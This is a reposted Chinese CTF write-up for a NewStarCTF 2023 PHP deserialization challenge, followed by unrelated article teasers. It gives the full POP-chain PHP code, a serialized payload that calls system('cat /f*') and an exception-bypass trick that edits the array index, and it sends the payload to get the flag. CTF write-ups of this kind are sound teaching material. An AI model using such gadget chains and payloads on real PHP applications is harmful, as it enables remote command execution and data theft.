NewStarCTF2023week4-More Fast(GC回收)

打开链接,存在很多个类,很明显是php反序列化漏洞利用,需要构造pop链 ,

关于pop链构造的详细步骤教学,请参考我之前的博客,真的讲得很详细也容易理解:

http://t.csdnimg.cn/wMYNB

如果你是刚接触php反序列化利用的题,那么建议先看基础的原理知识:

http://t.csdnimg.cn/xhqzq

http://t.csdnimg.cn/jzQjt

http://t.csdnimg.cn/IHpEq

由于这道题还出现了

throw new Exception("Nope");

这个throw就是GC回收(垃圾回收机制),这里需要绕过它。

首先我们需要知道:

在php中,当对象被销毁时会自动调用__destruct()方法,但如果程序报错或者抛出异常,就不会触发该魔术方法。

当一个类创建之后它会自己消失,而 __destruct() 魔术方法的触发条件就是一个类被销毁时触发,而throw那个函数就是回收了自动销毁的类,导致destruct检测不到有东西销毁,从而也就导致无法触发destruct函数。

我们可以通过提前触发垃圾回收机制来抛出异常,从而绕过GC回收,唤醒__destruct()魔术方法。

触发垃圾回收机制的方法有:(本质即使对象引用计数归零)

(1)对象被unset()处理时,可以触发。

(2)数组对象为NULL时,可以触发。

我们先正常构造pop链:

关于pop链的构造和标注真的看我之前那篇博客肯定能懂

<?phpclass Start{public $errMsg;  // 5 Cryptopublic function __destruct() {die($this->errMsg);  }
}class Pwn{public $obj;   // 2 Webpublic function __invoke(){$this->obj->evil();}public function evil() {phpinfo();}
}class Reverse{public $func;  // 3 Pwnpublic function __get($var) {($this->func)();}
}class Web{ public $func; // 1 systempublic $var;  // 1 cat /f*public function evil() {if(!preg_match("/flag/i",$this->var)){($this->func)($this->var);}else{echo "Not Flag";}}
}class Crypto{public $obj;  // 4 Reversepublic function __toString() {$wel = $this->obj->good;return "NewStar";}
}class Misc{  public function evil() {echo "good job but nothing";}
}$w = new Web();
$w->func = 'system';
$w->var = 'cat /f*';
$p = new Pwn();
$p->obj = $w;
$r = new Reverse();
$r->func = $p;
$c = new Crypto();
$c->obj = $r;
$s = new Start();
$s->errMsg = $c;
echo serialize($s);?>

我们使用第二中方法(数组对象为NULL)绕过GC回收:

<?phpclass Start{public $errMsg;  // 5 Cryptopublic function __destruct() {die($this->errMsg);  }
}class Pwn{public $obj;   // 2 Webpublic function __invoke(){$this->obj->evil();}public function evil() {phpinfo();}
}class Reverse{public $func;  // 3 Pwnpublic function __get($var) {($this->func)();}
}class Web{ public $func; // 1 systempublic $var;  // 1 cat /f*public function evil() {if(!preg_match("/flag/i",$this->var)){($this->func)($this->var);}else{echo "Not Flag";}}
}class Crypto{public $obj;  // 4 Reversepublic function __toString() {$wel = $this->obj->good;return "NewStar";}
}class Misc{  public function evil() {echo "good job but nothing";}
}$w = new Web();
$w->func = 'system';
$w->var = 'cat /f*';
$p = new Pwn();
$p->obj = $w;
$r = new Reverse();
$r->func = $p;
$c = new Crypto();
$c->obj = $r;
$s = new Start();
$s->errMsg = $c;$b=array($s,0);
echo serialize($b); ?>

运行得到:

a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:1;i:0;} 

我们将最后的 i:1 替换为 i:0

即:

a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:0;i:0;} 

构造payload:

post:fast=a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:0;i:0;} 

拿到flag

flag{558eb633-8715-4922-8201-f8402343b140} 

当然这里保险一点的做法是先执行 ls 命令,然后再使用 ../../../ 进行目录穿越 ,找到flag所在目录,再进行 cat,并且这里过滤了关键字 flag,因此我们使用通配符 * 进行匹配。

只是说一般 flag 都在根目录下,所以我直接 cat /f*。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/117828.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

代碼隨想錄算法訓練營|第四十五天|1049. 最后一块石头的重量 II、494. 目标和、474.一和零。刷题心得(c++)

目录 讀題 1049. 最后一块石头的重量 II 自己看到题目的第一想法 看完代码随想录之后的想法 494. 目标和 自己看到题目的第一想法 看完代码随想录之后的想法 474.一和零 自己看到题目的第一想法 看完代码随想录之后的想法 1049. 最后一块石头的重量 II - 實作 思路 …

宏电5G RedCap工业智能网关获首个中国移动5G物联网开放实验室5G及轻量化产品能力认证

10月21日&#xff0c;2023世界物联网博览会——中国移动物联网开发者大会暨物联网产业论坛在无锡圆满举行。宏电股份参与中国移动5G物联网开放实验室5G及轻量化产品能力认证成果授牌仪式&#xff0c;并获得认证证书。 此次认证主要对产品功能、产品性能、RedCap网络兼容性进行测…

sw型材利用父子关系找最新特征

利用父子关系可以找到设计树最新的编辑

复习mysql中的事务

一个事务的开始和结尾必须是 start transaction | commit; rollback 事务特性 1.原子性&#xff1a;多个操作打包成一个整体&#xff0c;要么全部执行&#xff0c;要么一个都不执行。 不过这里的“一个都不执行”并不是真正的全不执行&#xff0c;只是看起来与没执行一样。…

js中循环判断找到满足条件的单项后结束循环

当选择的所有项中&#xff0c;如果有一项不满足条件则返回false&#xff0c;让业务逻辑停止&#xff0c;一般都是使用forEach循环&#xff0c;但是forEach循环有个弊端就是return不能跳出循环&#xff0c;所以这时候就需要使用for循环中的break来跳出循环。 下面是代码示例&am…

redis持久化之AOF(Append Only File)

1 : AOF 是什么 以日志的形式来记录每个写操作&#xff08;增量保存&#xff09;&#xff0c;将redis执行过的所有写指令记录下来&#xff08;读操作不记 录&#xff09;&#xff0c;只允追加文件但不可改写文件&#xff0c;redis启动之初会读取该文件重新构造数据&#xff0c;…

hadoop集群搭建

hadoop有三种部署方式 1、Local (Standalone) Mode&#xff08;单机模式&#xff09; 数据存储在本地 2、Pseudo-Distributed Mode&#xff08;伪集群模式&#xff09; 数据存储在HDFS 3、Fully-Distributed Mode&#xff08;集群模式&#xff09; 集群部署&#xff0c;数据存储…

2.2.3 三层交换机实现VLAN之间的通信

实验2.2.3 三层交换机实现VLAN之间的通信 一、任务描述二、任务分析三、具体要求四、实验拓扑五、任务实施1.划分SW2A的VLAN&#xff0c;并分配接口。2.划分SW3A的VLAN&#xff0c;配置每个VLAN接口的IP地址。3.设计计算机的网关&#xff0c;实现不同VLAN之间和不同网络之间的通…

探索光模块的MSA多源协议

在当今高度互联的世界中&#xff0c;光模块作为网络设备的重要部分&#xff0c;其性能和质量直接影响到整个网络系统的运行。其中光模块由于其灵活性和高效性&#xff0c;已经成为数据中心和云计算领域的主要选择。本文易天光通信将深入探讨光模块的MSA协议&#xff0c;揭示其重…

《算法通关村——双指针妙用》

《算法通关村——双指针妙用》 删除元素 描述 给你一个数组 nums 和一个值 val&#xff0c;你需要原地移除所有数值等于 val 的元素&#xff0c;并返回移除后数组的新长度。要求&#xff1a;不要使用额外的数组空间&#xff0c;你必须仅使用 O(1) 额外空间并原地修改输入数组…

Pytorch公共数据集、tensorboard、DataLoader使用

本文将主要介绍torchvision.datasets的使用&#xff0c;并以CIFAR-10为例进行介绍&#xff0c;对可视化工具tensorboard进行介绍&#xff0c;包括安装&#xff0c;使用&#xff0c;可视化过程等&#xff0c;最后介绍DataLoader的使用。希望对你有帮助 Pytorch公共数据集 torc…

深度学习系列52:多目标跟踪

1. 评价指标 1&#xff09;FP&#xff1a;False Positive&#xff0c;即真实情况中没有&#xff0c;但跟踪算法误检出有目标存在。 2&#xff09;FN&#xff1a;False Negative&#xff0c;即真实情况中有&#xff0c;但跟踪算法漏检了。 3&#xff09;IDS&#xff1a;ID Sw…

IntelliJ IDEA 2023.2正式发布,新UI和Profiler转正

你好&#xff0c;我是YourBatman&#xff1a;做爱做之事❣交配交之人。 &#x1f4da;前言 北京时间2023年7月26日&#xff0c;IntelliJ IDEA 2023.2正式发布。老规矩&#xff0c;吃肉之前&#xff0c;可以先把这几碗汤干了&#xff0c;更有助于消化&#xff08;每篇都很顶哦…

mac苹果电脑使用耳机听不到声音

大家在使用耳机收听音乐时候&#xff1f;是否经常遇到声音和音频播放问题的情况。这里小编为大家带来了三种不同的方法&#xff0c;帮助大家解决耳机在macOS系统电脑上怎么听不到任何声音的教程。如果大家对这篇文章感兴趣&#xff0c;那就来看下面的具体步骤吧。 方法一、检查…

【机器学习合集】优化目标与评估指标合集 ->(个人学习记录笔记)

文章目录 优化目标与评估指标1. 优化目标1.1 两类基础任务与常见优化目标1.2 分类任务损失0-1损失交叉熵损失与KL散度softmax损失的理解与改进Hinge损失 1.3 回归任务损失L1/L2距离L1/L2距离的改进 Huber loss 2. 评测指标2.1 分类任务中评测指标准确率(查准率)/召回率(查全率)…

入门人工智能 —— 学习数据持久化、使用 Python 将数据保存到mysql(7)

入门人工智能 —— 学习数据持久化、使用 Python 将数据保存到mysql 什么是数据持久化&#xff1f;使用 Python 进行数据持久化步骤 1: 安装 MySQL步骤 2: 安装必要的 Python 库步骤 3: 连接到 MySQL 数据库步骤 4: 创建数据表步骤 5: 插入数据步骤 6: 查询数据步骤 7: 关闭连接…

类图表示法

设计模式&#xff0c;用设计图表示的话&#xff0c;主要用到类图。常见UML类图如下&#xff1a; 1、类图&#xff1a;矩形框&#xff0c;代表一个类&#xff08;Class&#xff09;。类图分为三层&#xff0c;第一层显示类的名称&#xff0c;如果是抽象类&#xff0c;则用斜体显…

mac安装nodejs,跑vue程序

1. 下载node.js for mac&#xff0c;地址&#xff1a;Node.js。一路安装就可以了&#xff0c;无需修改。 2. mac终端&#xff0c;查看node和npm的版本。 3. 配置环境变量&#xff0c; vim .bash_profile增加PATH$PATH:/usr/local/bin/ 4. 但是毕竟npm安装一些东西还是太慢了所…

霍尔电流传感器如何应用在数据中心电量监测的-安科瑞 蒋静

摘要&#xff1a;数据中心供电电源质量的好坏直接影响到IT设备的安全运行&#xff0c;因此对数据中心直流列头柜电源进出线实行监测非常重要&#xff0c;而通过霍尔电流传感器可以采集主进线电流、多路支路直流电流和漏电流。 关键词&#xff1a;数据中心&#xff1b;直流列头…

好用的Visio绘图文件工具 VSD Viewer最新 for mac

VSD Viewer是一款可以查看Microsoft Visio绘图文件的工具&#xff0c;适用于Windows和macOS操作系统。它具有以下优点&#xff1a; 直观易用&#xff1a;VSD Viewer的用户界面非常简单直观&#xff0c;易于使用。支持多种文件格式&#xff1a;VSD Viewer支持多种Visio文件格式…